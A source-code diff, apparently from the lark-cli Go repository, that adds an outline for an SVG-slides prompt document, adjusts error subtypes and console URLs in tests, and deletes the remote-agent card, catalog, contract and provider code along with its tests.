@@ -0,0 +1,20 @@
+# AnyGen SVG Slides Local Outline
+
+Source full snapshot: `docs/vendor/anygen-svg/source.full.md`
+Source handoff: `/Users/bytedance/Documents/Codex/2026-07-01/https-bytedance-larkoffice-com-docx-kncld7xr5ohwonxhksncz3lxnvd/outputs/anygen-slides-svg-prompt-handoff.md`
+Remote doc: `https://bytedance.larkoffice.com/docx/KnCLd7xr5ohWONxhKsncZ3Lxnvd`
+
+Required sections to split:
+
+- System prompt（编排 / mode_system_prompt_svg）
+- SVG reference（协议 schema + 设计规范 / svg_reference）
+- resolve_design_brief
+- slide_outline
+- activate_slides_edit
+- slides_edit
+- finish_slides_edit
+- slide_organize
+- compute_custom_shape_bbox
+- generate_svg_chart
+- slides_convert
+- slides_parse_template

errs/subtypes.go

@@ -12,9 +12,8 @@ const (
 
 // CategoryValidation subtypes
 const (
-	SubtypeInvalidArgument       Subtype = "invalid_argument"       // user-supplied flag / arg failed validation (gRPC INVALID_ARGUMENT alignment)
-	SubtypeFailedPrecondition    Subtype = "failed_precondition"    // request is valid but the system/resource state is not in the state required to execute; caller must change state (not retry) — e.g. ambiguous remote mapping (gRPC FAILED_PRECONDITION alignment)
-	SubtypeUnsupportedCapability Subtype = "unsupported_capability" // the addressed provider/agent does not support the requested capability (agent card / Discoverer gating); exit 2, no request is sent
+	SubtypeInvalidArgument    Subtype = "invalid_argument"    // user-supplied flag / arg failed validation (gRPC INVALID_ARGUMENT alignment)
+	SubtypeFailedPrecondition Subtype = "failed_precondition" // request is valid but the system/resource state is not in the state required to execute; caller must change state (not retry) — e.g. ambiguous remote mapping (gRPC FAILED_PRECONDITION alignment)
 )
 
 // CategoryAuthentication subtypes

errs/types_test.go

@@ -319,7 +319,7 @@ func TestPermissionError_FullChain(t *testing.T) {
 		WithHint("run: lark-cli auth login --scope %q", "mail:user_mailbox.message:send").
 		WithMissingScopes("mail:user_mailbox.message:send").
 		WithIdentity("user").
-		WithConsoleURL("https://open.feishu.cn/app/cli_xxx/auth")
+		WithConsoleURL("https://open.feishu.cn/page/scope-apply?clientID=cli_xxx&scopes=mail:user_mailbox.message:send")
 
 	if got.Category != errs.CategoryAuthorization {
 		t.Errorf("Category = %q, want %q", got.Category, errs.CategoryAuthorization)
@@ -419,7 +419,7 @@ func TestBuilder_WireFormat(t *testing.T) {
 		WithHint("run lark-cli auth login --scope calendar:event:create").
 		WithMissingScopes("calendar:event:create").
 		WithIdentity("user").
-		WithConsoleURL("https://open.feishu.cn/app/cli_xxx/auth")
+		WithConsoleURL("https://open.feishu.cn/page/scope-apply?clientID=cli_xxx&scopes=calendar:event:create")
 
 	buf, err := json.Marshal(e)
 	if err != nil {
@@ -439,7 +439,7 @@ func TestBuilder_WireFormat(t *testing.T) {
 		"hint":           "run lark-cli auth login --scope calendar:event:create",
 		"log_id":         "20260520-0a1b2c3d",
 		"identity":       "user",
-		"console_url":    "https://open.feishu.cn/app/cli_xxx/auth",
+		"console_url":    "https://open.feishu.cn/page/scope-apply?clientID=cli_xxx&scopes=calendar:event:create",
 		"missing_scopes": []any{"calendar:event:create"},
 	}
 	for k, want := range wantFields {

internal/agent/agenttest/agenttest.go

@@ -1,163 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-// Package agenttest provides provider conformance tests: a new integrator calls
-// RunConformance in its own test to lock down registration metadata, the
-// zero-value Deps contract, Card single-sourcing, and other implicit contracts.
-// All assertions run offline (zero-value Deps, no API calls).
-package agenttest
-
-import (
-	"context"
-	"reflect"
-	"strings"
-	"testing"
-
-	"github.com/larksuite/cli/internal/agent"
-)
-
-// RunConformance runs the full set of conformance assertions against a
-// registered scheme. sampleAgentID must be a valid agent id for which the
-// provider can produce a Card (catalog-type: an id from the catalog;
-// instance-type: any non-empty id).
-func RunConformance(t *testing.T, scheme, sampleAgentID string) {
-	t.Helper()
-	info, ok := agent.Info(scheme)
-	if !ok {
-		t.Fatalf("conformance: scheme %q not registered (the provider package must be imported to trigger init registration)", scheme)
-	}
-
-	t.Run("metadata", func(t *testing.T) {
-		if info.Label == "" {
-			t.Error("conformance: ProviderInfo.Label must not be empty")
-		}
-		if info.AgentIDSource == "" {
-			t.Error("conformance: ProviderInfo.AgentIDSource must not be empty")
-		}
-		if info.Kind != agent.KindCatalog && info.Kind != agent.KindInstance {
-			t.Errorf("conformance: Kind should be %q|%q, got %q", agent.KindCatalog, agent.KindInstance, info.Kind)
-		}
-		if !strings.HasPrefix(info.AgentRefFormat, scheme+":") {
-			t.Errorf("conformance: AgentRefFormat should start with %q, got %q", scheme+":", info.AgentRefFormat)
-		}
-		if len(info.Identities) == 0 {
-			t.Error("conformance: Identities must not be empty")
-		}
-		for i, id := range info.Identities {
-			if id.Type != agent.IdentityUser && id.Type != agent.IdentityBot {
-				t.Errorf("conformance: Identities[%d].Type should be user|bot, got %q", i, id.Type)
-			}
-		}
-		seen := make(map[string]bool, len(info.RequiredScopes))
-		for _, s := range info.RequiredScopes {
-			if seen[s] {
-				t.Errorf("conformance: RequiredScopes contains duplicate %q", s)
-			}
-			seen[s] = true
-		}
-	})
-
-	t.Run("factory", func(t *testing.T) {
-		p, err := info.Factory(agent.Deps{}, sampleAgentID)
-		if err != nil {
-			t.Fatalf("conformance: Factory must accept zero-value Deps (expected nil error), got %v", err)
-		}
-		if p == nil {
-			t.Fatal("conformance: Factory must not return a nil provider")
-		}
-		// Core fields are mandatory (the command layer dispatches them without a
-		// nil-check); Register enforces this at registration, re-assert here.
-		if p.Send == nil {
-			t.Error("conformance: Provider.Send (core) must be wired")
-		}
-		if p.GetTask == nil {
-			t.Error("conformance: Provider.GetTask (core) must be wired")
-		}
-	})
-
-	t.Run("card", func(t *testing.T) {
-		newCard := func() *agent.AgentCard {
-			t.Helper()
-			p, err := info.Factory(agent.Deps{}, sampleAgentID)
-			if err != nil {
-				t.Fatalf("conformance: Factory(zero-value Deps) returned error: %v", err)
-			}
-			card, err := agent.BuildCard(context.Background(), scheme, sampleAgentID, p)
-			if err != nil {
-				t.Fatalf("conformance: BuildCard should be available offline (expected nil error), got %v", err)
-			}
-			if card == nil {
-				t.Fatal("conformance: Card must not return nil")
-			}
-			return card
-		}
-		card := newCard()
-		if card.Provider != scheme {
-			t.Errorf("conformance: Card.Provider should be %q, got %q", scheme, card.Provider)
-		}
-		if card.AgentID != sampleAgentID {
-			t.Errorf("conformance: Card.AgentID should echo the constructor input %q, got %q", sampleAgentID, card.AgentID)
-		}
-		if card.ProviderLabel != info.Label {
-			t.Errorf("conformance: Card.ProviderLabel should equal the registered Label %q, got %q", info.Label, card.ProviderLabel)
-		}
-		if !reflect.DeepEqual(card.Identity, info.Identities) {
-			t.Errorf("conformance: Card.Identity should match the registered Identities (single source), expected %+v got %+v", info.Identities, card.Identity)
-		}
-		if card.AgentIDSource != info.AgentIDSource {
-			t.Errorf("conformance: Card.AgentIDSource should equal the registered value %q, got %q", info.AgentIDSource, card.AgentIDSource)
-		}
-		if card.Parameters == nil {
-			t.Error("conformance: Card.Parameters must not be nil (always emitted, empty is [])")
-		}
-		// Single-sourcing: two independent instances each produce a Card, and the
-		// results must DeepEqual (no hidden instance state).
-		if card2 := newCard(); !reflect.DeepEqual(card, card2) {
-			t.Errorf("conformance: Cards from two instances should DeepEqual (single source), got\n%+v\nvs\n%+v", card, card2)
-		}
-	})
-
-	if info.Kind == agent.KindCatalog {
-		t.Run("discovery", func(t *testing.T) {
-			p, err := info.Factory(agent.Deps{}, sampleAgentID)
-			if err != nil {
-				t.Fatalf("conformance: Factory(zero-value Deps) returned error: %v", err)
-			}
-			if p.ListAgents == nil {
-				t.Fatal("conformance: catalog-type provider must wire ListAgents")
-			}
-			list, err := p.ListAgents(context.Background())
-			if err != nil {
-				t.Fatalf("conformance: catalog-type ListAgents should be available offline (expected nil error), got %v", err)
-			}
-			wantRef := scheme + ":" + sampleAgentID
-			found := false
-			for i, a := range list {
-				r, err := agent.ParseRef(a.AgentRef)
-				if err != nil {
-					t.Errorf("conformance: ListAgents[%d].AgentRef %q should be parseable by agent.ParseRef: %v", i, a.AgentRef, err)
-					continue
-				}
-				if r.Scheme != scheme {
-					t.Errorf("conformance: ListAgents[%d].AgentRef %q scheme should be %q, got %q", i, a.AgentRef, scheme, r.Scheme)
-				}
-				if a.Name == "" {
-					t.Errorf("conformance: ListAgents[%d] (%s) Name must not be empty", i, a.AgentRef)
-				}
-				if a.AgentRef == wantRef {
-					found = true
-				}
-			}
-			if !found {
-				t.Errorf("conformance: sampleAgentID should appear in the enumeration (expected to contain %q), got %+v", wantRef, list)
-			}
-			list2, err := p.ListAgents(context.Background())
-			if err != nil {
-				t.Fatalf("conformance: second ListAgents returned error: %v", err)
-			}
-			if !reflect.DeepEqual(list, list2) {
-				t.Errorf("conformance: two consecutive ListAgents results should DeepEqual (stable enumeration), got\n%+v\nvs\n%+v", list, list2)
-			}
-		})
-	}
-}

internal/agent/card.go

@@ -1,155 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import "context"
-
-// capability key constants (the JSON key names in capabilities, also the
-// capability identifiers used by Supports / capabilityError). Only capabilities
-// that "can change the AI's next command line and are currently deliverable" are
-// exposed.
-const (
-	CapTaskGet          = "task_get"
-	CapTaskList         = "task_list"
-	CapTaskCancel       = "task_cancel"
-	CapInputRequired    = "input_required"
-	CapFileInput        = "file_input"
-	CapArtifactDownload = "artifact_download"
-	CapMultiTurn        = "multi_turn"
-)
-
-// Capabilities is the closed set of capabilities: making it a struct means an
-// omitted field is an explicit false and a typo is a compile error. Fields are
-// ordered by json tag alphabetically to keep the key order identical to the old
-// map serialization.
-type Capabilities struct {
-	ArtifactDownload bool `json:"artifact_download"`
-	FileInput        bool `json:"file_input"`
-	InputRequired    bool `json:"input_required"`
-	MultiTurn        bool `json:"multi_turn"`
-	TaskCancel       bool `json:"task_cancel"`
-	TaskGet          bool `json:"task_get"`
-	TaskList         bool `json:"task_list"`
-}
-
-// AgentCard is a remote agent's capability card (schema v2): provider metadata,
-// the supported capability matrix, identity precondition declarations, and
-// parameter / skill declarations (scopes are not in the card; they are internal
-// registration data for preflight only).
-type AgentCard struct {
-	Provider      string         `json:"provider"`
-	ProviderLabel string         `json:"provider_label"`
-	AgentID       string         `json:"agent_id"`
-	Name          string         `json:"name,omitempty"` // dynamic card only
-	Description   string         `json:"description,omitempty"`
-	Capabilities  Capabilities   `json:"capabilities"`
-	Identity      []IdentitySpec `json:"identity"`
-	Parameters    []CardParam    `json:"parameters"` // always emitted (empty is [])
-	AgentIDSource string         `json:"agent_id_source"`
-	Skills        []CardSkill    `json:"skills,omitempty"`
-}
-
-// NewCard fills in all fields known at registration time from the registration
-// info (Provider/ProviderLabel/Identity/AgentIDSource/empty Parameters); the
-// integrator only supplies the per-agent part (Capabilities, plus Name/
-// Description for catalog types). An unregistered scheme is a programming error
-// (a provider should only pass its own scheme), so it panics fail-fast.
-func NewCard(scheme, agentID string) *AgentCard {
-	info, ok := Info(scheme)
-	if !ok {
-		panic("agent: NewCard for unregistered scheme: " + scheme)
-	}
-	return &AgentCard{
-		Provider:      scheme,
-		ProviderLabel: info.Label,
-		AgentID:       agentID,
-		Identity:      info.Identities,
-		Parameters:    []CardParam{},
-		AgentIDSource: info.AgentIDSource,
-	}
-}
-
-// DeriveCapabilities computes the capability matrix from which Provider fields
-// are wired — the single source of truth. The method-backed capabilities are
-// derived from the corresponding func field being non-nil (implement it =
-// support it); file_input / input_required are behavioral flags with no backing
-// method and are read straight from the struct. Send/GetTask are mandatory
-// (Register enforces), so task_get is always true.
-func DeriveCapabilities(p *Provider) Capabilities {
-	return Capabilities{
-		TaskGet:          p.GetTask != nil,
-		TaskList:         p.ListTasks != nil,
-		TaskCancel:       p.CancelTask != nil,
-		ArtifactDownload: p.DownloadArtifact != nil,
-		MultiTurn:        p.ListContexts != nil,
-		FileInput:        p.FileInput,
-		InputRequired:    p.InputRequired,
-	}
-}
-
-// BuildCard synthesizes an agent's full Card: NewCard fills the
-// registration-time fields, DeriveCapabilities fills the matrix from the wired
-// fields, and Describe (if the provider set it) supplies the per-agent
-// Name/Description/Parameters/Skills and validates the agent_id. A provider
-// therefore never assembles its own card or declares its own capability bools.
-func BuildCard(ctx context.Context, scheme, agentID string, p *Provider) (*AgentCard, error) {
-	card := NewCard(scheme, agentID)
-	card.Capabilities = DeriveCapabilities(p)
-	if p.Describe != nil {
-		info, err := p.Describe(ctx)
-		if err != nil {
-			return nil, err
-		}
-		if info != nil {
-			card.Name = info.Name
-			card.Description = info.Description
-			if info.Parameters != nil {
-				card.Parameters = info.Parameters
-			}
-			card.Skills = info.Skills
-		}
-	}
-	return card, nil
-}
-
-// CardParam is one input parameter declared by a Card (used for --param validation).
-type CardParam struct {
-	Name     string `json:"name"`
-	Type     string `json:"type"`
-	Required bool   `json:"required"`
-	Desc     string `json:"desc,omitempty"`
-}
-
-// CardSkill is one skill / scenario declared by a Card (with example usages).
-type CardSkill struct {
-	ID       string   `json:"id"`
-	Name     string   `json:"name,omitempty"`
-	Examples []string `json:"examples,omitempty"`
-}
-
-// Supports reports whether a capability is declared as supported (an unknown key
-// or a nil card is treated as unsupported).
-func (c *AgentCard) Supports(cap string) bool {
-	if c == nil {
-		return false
-	}
-	switch cap {
-	case CapArtifactDownload:
-		return c.Capabilities.ArtifactDownload
-	case CapFileInput:
-		return c.Capabilities.FileInput
-	case CapInputRequired:
-		return c.Capabilities.InputRequired
-	case CapMultiTurn:
-		return c.Capabilities.MultiTurn
-	case CapTaskCancel:
-		return c.Capabilities.TaskCancel
-	case CapTaskGet:
-		return c.Capabilities.TaskGet
-	case CapTaskList:
-		return c.Capabilities.TaskList
-	default:
-		return false
-	}
-}

internal/agent/card_test.go

@@ -1,65 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import "testing"
-
-func TestCardSupports(t *testing.T) {
-	c := &AgentCard{Capabilities: Capabilities{TaskCancel: false, MultiTurn: true}}
-	if c.Supports(CapTaskCancel) {
-		t.Error("task_cancel should not be supported")
-	}
-	if !c.Supports(CapMultiTurn) {
-		t.Error("multi_turn should be supported")
-	}
-	if c.Supports("nonexistent") {
-		t.Error("unknown capability should be treated as unsupported")
-	}
-	// nil guard branch: a nil receiver is treated as unsupported; a zero-value Capabilities is all false.
-	var nilCard *AgentCard
-	if nilCard.Supports(CapMultiTurn) {
-		t.Error("nil card should be treated as unsupported")
-	}
-	if (&AgentCard{}).Supports(CapMultiTurn) {
-		t.Error("zero-value Capabilities should be treated as unsupported")
-	}
-	// Each capability constant must map to its own struct field (the switch has no gaps or mismatches).
-	all := &AgentCard{Capabilities: Capabilities{
-		ArtifactDownload: true, FileInput: true, InputRequired: true,
-		MultiTurn: true, TaskCancel: true, TaskGet: true, TaskList: true,
-	}}
-	for _, k := range []string{
-		CapArtifactDownload, CapFileInput, CapInputRequired,
-		CapMultiTurn, CapTaskCancel, CapTaskGet, CapTaskList,
-	} {
-		if !all.Supports(k) {
-			t.Errorf("Supports(%q) should be true when all Capabilities are true", k)
-		}
-	}
-}
-
-// TestNewCardFillsRegistrationFields pins that NewCard pre-fills every
-// registration-known field and panics on an unregistered scheme.
-func TestNewCardFillsRegistrationFields(t *testing.T) {
-	swapRegistry(t, map[string]ProviderInfo{})
-	info := testInfo("nc", okFactory())
-	info.Identities = []IdentitySpec{{Type: IdentityBot, Precondition: "需要白名单"}}
-	Register("nc", info)
-
-	card := NewCard("nc", "agt_1")
-	if card.Provider != "nc" || card.AgentID != "agt_1" {
-		t.Fatalf("provider/agent_id: %+v", card)
-	}
-	if card.ProviderLabel != info.Label || card.AgentIDSource != info.AgentIDSource {
-		t.Fatalf("registration metadata should be pre-filled: %+v", card)
-	}
-	if len(card.Identity) != 1 || card.Identity[0].Type != IdentityBot {
-		t.Fatalf("identity should come from registration info: %+v", card.Identity)
-	}
-	if card.Parameters == nil || len(card.Parameters) != 0 {
-		t.Fatalf("parameters should be empty but non-nil (always emit []): %#v", card.Parameters)
-	}
-
-	mustPanic(t, "unregistered scheme", func() { NewCard("ghost", "agt_1") })
-}

internal/agent/catalog.go

@@ -1,90 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"sort"
-
-	"github.com/larksuite/cli/errs"
-)
-
-// CatalogEntry is the provider-neutral description of one predefined agent in a
-// catalog-type provider. It holds only descriptive fields the framework can
-// consume (enumeration / Card metadata); capabilities are NOT declared here —
-// they are derived from which Provider func fields the integrator's Factory
-// wires for this agent (see agent/example). A provider's private business
-// fields (such as the execution backend it points to) are maintained alongside
-// in the integrator's own package and do not enter framework types.
-type CatalogEntry struct {
-	ID          string
-	Name        string
-	Description string
-}
-
-// StaticCatalog carries the common boilerplate of a catalog-type provider:
-// catalog enumeration (the ListAgents field), per-agent Card metadata (Describe
-// returns the entry's Name/Description), and a typed validation error for
-// unknown ids. Capabilities are derived by the framework from the Provider
-// fields the integrator's Factory wires, not stored here. Business differences
-// (such as the execution backend) are composed by the provider itself on the
-// outer layer. It is read-only after construction and safe for concurrent use.
-type StaticCatalog struct {
-	scheme  string
-	entries map[string]CatalogEntry
-}
-
-// NewStaticCatalog constructs a static catalog. A duplicate entry ID is an
-// integrator coding error and panics fail-fast (aligned with the Register convention).
-func NewStaticCatalog(scheme string, entries []CatalogEntry) *StaticCatalog {
-	m := make(map[string]CatalogEntry, len(entries))
-	for _, e := range entries {
-		if _, dup := m[e.ID]; dup {
-			panic("agent: StaticCatalog duplicate entry ID for scheme " + scheme + ": " + e.ID)
-		}
-		m[e.ID] = e
-	}
-	return &StaticCatalog{scheme: scheme, entries: m}
-}
-
-// ListAgents enumerates the catalog (Discoverer semantics), sorted by AgentRef
-// to guarantee stable output.
-func (c *StaticCatalog) ListAgents(ctx context.Context) ([]AgentSummary, error) {
-	out := make([]AgentSummary, 0, len(c.entries))
-	for _, e := range c.entries {
-		out = append(out, AgentSummary{
-			AgentRef:    c.scheme + ":" + e.ID,
-			Name:        e.Name,
-			Description: e.Description,
-		})
-	}
-	sort.Slice(out, func(i, j int) bool { return out[i].AgentRef < out[j].AgentRef })
-	return out, nil
-}
-
-// Describe returns the per-agent Card metadata (Name/Description) for agentID,
-// suitable as a Provider.Describe implementation: it validates the id (an
-// unknown id returns the typed error from Lookup) and leaves capability
-// derivation to the framework. Parameters/Skills are left empty; a provider
-// with declared parameters composes them on top.
-func (c *StaticCatalog) Describe(agentID string) (*CardInfo, error) {
-	e, err := c.Lookup(agentID)
-	if err != nil {
-		return nil, err
-	}
-	return &CardInfo{Name: e.Name, Description: e.Description}, nil
-}
-
-// Lookup fetches a catalog entry by id. An unknown id returns a typed
-// validation/invalid_argument error (exit 2) whose hint points to
-// `agent list <scheme>`, so a provider need not define its own unknown-agent error.
-func (c *StaticCatalog) Lookup(agentID string) (CatalogEntry, error) {
-	e, ok := c.entries[agentID]
-	if !ok {
-		return CatalogEntry{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"未知的 %s agent '%s'", c.scheme, agentID).
-			WithHint("运行 lark-cli agent list %s 查看可用 agent", c.scheme)
-	}
-	return e, nil
-}

internal/agent/catalog_test.go

@@ -1,99 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"errors"
-	"reflect"
-	"testing"
-
-	"github.com/larksuite/cli/errs"
-)
-
-// testCatalogEntries is declared out of order to verify ListAgents sorting stability.
-func testCatalogEntries() []CatalogEntry {
-	return []CatalogEntry{
-		{ID: "zeta", Name: "Zeta 助手", Description: "z desc"},
-		{ID: "alpha", Name: "Alpha 助手", Description: "a desc"},
-	}
-}
-
-// TestStaticCatalogListAgentsSorted asserts the enumeration is sorted by AgentRef
-// and that two consecutive results are DeepEqual (stable sort, the same contract
-// asserted by agenttest discovery).
-func TestStaticCatalogListAgentsSorted(t *testing.T) {
-	c := NewStaticCatalog("cattest", testCatalogEntries())
-	got, err := c.ListAgents(context.Background())
-	if err != nil {
-		t.Fatal(err)
-	}
-	want := []AgentSummary{
-		{AgentRef: "cattest:alpha", Name: "Alpha 助手", Description: "a desc"},
-		{AgentRef: "cattest:zeta", Name: "Zeta 助手", Description: "z desc"},
-	}
-	if !reflect.DeepEqual(got, want) {
-		t.Fatalf("ListAgents should be sorted by AgentRef, want %+v got %+v", want, got)
-	}
-	got2, err := c.ListAgents(context.Background())
-	if err != nil {
-		t.Fatal(err)
-	}
-	if !reflect.DeepEqual(got, got2) {
-		t.Fatalf("two consecutive ListAgents calls should be DeepEqual, got\n%+v\nvs\n%+v", got, got2)
-	}
-}
-
-// TestStaticCatalogDescribe asserts Describe returns the entry's per-agent
-// Name/Description (the framework fills registration fields and derives
-// capabilities from the wired Provider fields, so those are not Describe's job).
-func TestStaticCatalogDescribe(t *testing.T) {
-	c := NewStaticCatalog("cattest", testCatalogEntries())
-	info, err := c.Describe("alpha")
-	if err != nil {
-		t.Fatal(err)
-	}
-	if info.Name != "Alpha 助手" || info.Description != "a desc" {
-		t.Fatalf("Describe should return the entry Name/Description, got %+v", info)
-	}
-	// Describe carries no capabilities/parameters — those are the framework's job.
-	if len(info.Parameters) != 0 || len(info.Skills) != 0 {
-		t.Fatalf("Describe should not populate Parameters/Skills, got %+v", info)
-	}
-}
-
-// TestStaticCatalogUnknownID asserts Lookup / Card return a typed
-// validation/invalid_argument error for an unknown id (exit 2 rather than
-// internal/exit 5), with the hint pointing to `agent list <scheme>`.
-func TestStaticCatalogUnknownID(t *testing.T) {
-	c := NewStaticCatalog("cattest", testCatalogEntries())
-	_, err := c.Lookup("nonexistent")
-	if err == nil {
-		t.Fatal("unknown id should return an error")
-	}
-	var ve *errs.ValidationError
-	if !errors.As(err, &ve) {
-		t.Fatalf("unknown id should be an *errs.ValidationError, got %T: %v", err, err)
-	}
-	if ve.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %q", ve.Subtype)
-	}
-	if want := "未知的 cattest agent 'nonexistent'"; ve.Message != want {
-		t.Fatalf("message should be %q, got %q", want, ve.Message)
-	}
-	if want := "运行 lark-cli agent list cattest 查看可用 agent"; ve.Hint != want {
-		t.Fatalf("hint should be %q, got %q", want, ve.Hint)
-	}
-	// Describe goes through the same Lookup path.
-	if _, err := c.Describe("nonexistent"); !errors.As(err, &ve) {
-		t.Fatalf("Describe with an unknown id should return the same typed error, got %v", err)
-	}
-}
-
-// TestStaticCatalogDuplicateIDPanic asserts a duplicate entry ID triggers a
-// fail-fast panic (aligned with the Register convention).
-func TestStaticCatalogDuplicateIDPanic(t *testing.T) {
-	entries := []CatalogEntry{{ID: "a"}, {ID: "a"}}
-	mustPanic(t, "duplicate entry ID", func() { NewStaticCatalog("cattest", entries) })
-}

internal/agent/contract.go

@@ -1,94 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-// AgentTask is the unified structure that task-family commands put into output.Envelope.Data.
-type AgentTask struct {
-	TaskID        string         `json:"task_id"`
-	ContextID     string         `json:"context_id,omitempty"`
-	State         TaskState      `json:"state"`
-	IsTerminal    bool           `json:"is_terminal"`
-	Messages      []Message      `json:"messages,omitempty"`
-	Artifacts     []Artifact     `json:"artifacts,omitempty"`
-	InputRequired *InputRequired `json:"input_required,omitempty"`
-}
-
-// Message is one turn of an agent or user message, composed of several Parts.
-type Message struct {
-	Role  string `json:"role"` // "agent" | "user"
-	Parts []Part `json:"parts"`
-}
-
-// Part is one fragment of a message: text, file, or structured data.
-type Part struct {
-	Type string `json:"type"` // "text" | "file" | "data"
-	Text string `json:"text,omitempty"`
-	// File/Data pass-through: file uses URL/Name, data uses Data.
-	Name string      `json:"name,omitempty"`
-	URL  string      `json:"url,omitempty"`
-	Data interface{} `json:"data,omitempty"`
-}
-
-// Artifact is one artifact produced by a task (file / inline text), downloadable
-// via URL.
-//
-// Its fields align with A2A's Artifact/FilePart, but only what a provider can
-// truly deliver is populated (e.g. example only provides ID + Kind — the
-// coarse-grained kind at the GetTask stage — plus Name/Mime at the download
-// stage). Mime/Description/Size are placeholders under A2A semantics; if a
-// provider does not yet supply them they are omitted via omitempty and lit up
-// only once the provider can fill them, rather than creating empty shell fields
-// that cannot be filled.
-type Artifact struct {
-	ID          string `json:"id"`
-	Kind        string `json:"kind,omitempty"` // coarse-grained kind (image/file/...), a type hint before download
-	Name        string `json:"name,omitempty"` // file name (with extension), helps choose the -o save name
-	Mime        string `json:"mime,omitempty"` // content type (image/png…), empty if the provider does not supply it
-	Description string `json:"description,omitempty"`
-	Size        int64  `json:"size,omitempty"` // byte count, 0 if the provider does not supply it
-	URL         string `json:"url,omitempty"`
-	Text        string `json:"text,omitempty"`
-}
-
-// InputRequired describes the input a task requests from the user while in the
-// input_required state.
-type InputRequired struct {
-	Prompt  string   `json:"prompt"`
-	Options []string `json:"options,omitempty"`
-}
-
-// TaskSummary is a single task summary in the task list output.
-type TaskSummary struct {
-	TaskID     string    `json:"task_id"`
-	ContextID  string    `json:"context_id,omitempty"`
-	State      TaskState `json:"state"`
-	IsTerminal bool      `json:"is_terminal"`
-}
-
-// ContextSummary is a single context summary in the context list output.
-type ContextSummary struct {
-	ContextID string `json:"context_id"`
-	CreatedAt string `json:"created_at,omitempty"`
-	Title     string `json:"title,omitempty"`
-}
-
-// ContextDetail is the context detail in the context get output (including its task list).
-type ContextDetail struct {
-	ContextID string        `json:"context_id"`
-	CreatedAt string        `json:"created_at,omitempty"`
-	Title     string        `json:"title,omitempty"`
-	Tasks     []TaskSummary `json:"tasks,omitempty"`
-}
-
-// ArtifactData is the return value of DownloadArtifact: the URL type gives URL,
-// the inline type gives Bytes. Name is the server-suggested file name (echoed
-// back only as a suggested_name reference for the command layer); it is
-// untrusted input and must never participate in constructing the local save
-// path — the save path is always determined by -o/SafeOutputPath.
-type ArtifactData struct {
-	Name  string
-	Mime  string
-	URL   string
-	Bytes []byte
-}

internal/agent/contract_test.go

@@ -1,28 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"encoding/json"
-	"testing"
-)
-
-func TestAgentTaskJSON(t *testing.T) {
-	at := AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: StateInputRequired,
-		IsTerminal:    false,
-		InputRequired: &InputRequired{Prompt: "按大区还是品类拆?", Options: []string{"region", "category"}}}
-	b, _ := json.Marshal(at)
-	var m map[string]interface{}
-	_ = json.Unmarshal(b, &m)
-	if m["state"] != "input_required" {
-		t.Errorf("state=%v", m["state"])
-	}
-	if _, ok := m["input_required"]; !ok {
-		t.Error("input_required should appear in the input_required state")
-	}
-	// unset artifacts should be omitted via omitempty
-	if _, ok := m["artifacts"]; ok {
-		t.Error("artifacts should be omitted via omitempty")
-	}
-}

internal/agent/provider.go

@@ -1,89 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import "context"
-
-// SendInput is the input to send (Params has already passed Card validation).
-type SendInput struct {
-	Text      string
-	Files     []string
-	Params    map[string]string
-	ContextID string
-	TaskID    string
-}
-
-// CardInfo is the per-agent descriptive metadata a provider supplies for its
-// Card (everything the framework cannot fill from registration data or derive
-// from capabilities): the display Name/Description, declared input Parameters,
-// and Skills. It is returned by Provider.Describe.
-type CardInfo struct {
-	Name        string
-	Description string
-	Parameters  []CardParam
-	Skills      []CardSkill
-}
-
-// Provider is a remote agent adapter: it translates the unified commands into a
-// specific vendor's OAPI. It is a struct of function fields rather than a fat
-// interface, mirroring the events KeyDefinition / shortcuts Shortcut convention:
-// a provider fills only the capabilities it supports, and a nil optional field
-// means "unsupported" — the command layer gates on it and returns a unified
-// unsupported_capability error before any network access, so a provider never
-// writes capability-refusal code itself. The Card capability matrix is derived
-// by the framework from which fields are non-nil (see BuildCard), so declaration
-// and behavior are single-sourced and cannot drift.
-//
-// Because a Provider is constructed per (deps, agentID) by its Factory, a
-// catalog provider whose agents differ in capability wires different fields per
-// agentID (see agent/example) — capability is expressed as code, not a
-// hand-maintained bool matrix.
-type Provider struct {
-	// ── Core (Register validates both non-nil for every provider) ──
-
-	// Send sends one message, starting a new task or continuing an existing one.
-	Send func(ctx context.Context, in SendInput) (*AgentTask, error)
-	// GetTask queries a single task's state and artifacts.
-	GetTask func(ctx context.Context, taskID string) (*AgentTask, error)
-
-	// ── Optional capabilities (nil = unsupported; framework gates) ──
-
-	// ListTasks lists tasks, optionally filtered by contextID (empty = no filter).
-	// nil ⇒ card task_list=false.
-	ListTasks func(ctx context.Context, contextID string) ([]TaskSummary, error)
-	// CancelTask cancels (interrupts) a task. nil ⇒ card task_cancel=false.
-	CancelTask func(ctx context.Context, taskID string) error
-	// ListContexts lists multi-turn contexts. nil ⇒ card multi_turn=false (the
-	// multi_turn capability is derived from this, the enumeration entry point).
-	ListContexts func(ctx context.Context) ([]ContextSummary, error)
-	// GetContext returns a single context's detail. nil ⇒ context get unsupported.
-	GetContext func(ctx context.Context, ctxID string) (*ContextDetail, error)
-	// DeleteContext deletes a context (destructive). nil ⇒ context delete unsupported.
-	DeleteContext func(ctx context.Context, ctxID string) error
-	// DownloadArtifact fetches artifact data: the URL type returns URL, the inline
-	// type returns Bytes. nil ⇒ card artifact_download=false.
-	DownloadArtifact func(ctx context.Context, taskID, artifactID string) (*ArtifactData, error)
